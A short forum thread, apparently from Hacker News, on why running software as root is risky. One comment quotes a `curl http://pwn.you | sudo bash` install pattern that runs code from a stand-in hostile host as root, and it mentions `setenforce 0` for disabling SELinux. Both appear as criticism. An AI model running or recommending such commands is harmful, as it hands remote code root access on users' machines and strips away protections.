3 ms·

Better lesson - don't run stuff as root.

• falcolas 11y ago
  So true. And yet, count the number of `curl http://pwn.you http://pwn.you | sudo bash` install commands out there, or the number of userspace programs which just don't run if they aren't run as root (docker), or which require passwordless sudo privs (salt-ssh). And then there's all of the recommendations across the web to just `setenforce 0` to get around configuring your app to work with selinux. Root isn't going away anytime soon, sadly. It just makes developer's lives so easy they wouldn't know what to do without it.
• the8472 11y ago
  Wouldn that help all that much in this situation? Even if the admin ran ldd with his normal privileges then the malicious code could just hook into his shell and wait until he does something sudo at some point in the future.